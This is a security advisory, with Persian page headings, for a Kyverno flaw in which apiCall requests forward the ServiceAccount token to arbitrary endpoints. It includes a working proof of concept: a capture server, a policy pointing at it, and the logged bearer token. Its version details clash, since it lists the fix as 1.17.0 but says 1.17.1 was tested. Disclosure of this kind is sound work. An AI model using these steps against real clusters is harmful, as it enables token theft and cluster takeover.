نسخههای متأثر
بازهها نیاز به بررسی دارند.
- نسخههای متأثر
- < 1.17.0
- نسخهٔ اصلاحشده
- 1.17.0
- نسخههای متأثر
- <1.17.0
- نسخهٔ اصلاحشده
- 1.17.0
بهرهبرداری
شرح آسیبپذیری
Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
Details
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>
This occurs when no explicit Authorization header is defined in the policy.
Root cause
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
This logic introduces several issues:
Implicit credential forwarding to arbitrary endpoints
No trust boundary validation (external/internal distinction)
Undocumented behavior
Header.Add instead of Set allows duplication
No token sanitization (potential trailing newline)
PoC
Preconditions
Kyverno installed (v1.17.1 tested)
A policy using
apiCall.service.url
Step 1 — Deploy capture server
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
Step 2 — Create policy
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
Step 3 — Trigger
kubectl run test --image=nginx
Step 4 — Observe token
kubectl logs capture
Output:
Authorization: Bearer <SA_TOKEN>
Impact
Vulnerability class
Credential exposure / leakage
Impact details
Exposure of Kubernetes ServiceAccount token
Token grants:
Full control over Kyverno policies
Ability to create/delete webhooks
Read cluster-wide resources
Privilege escalation and persistence
پیوندها
گزارشدهندگان
- scumfrog

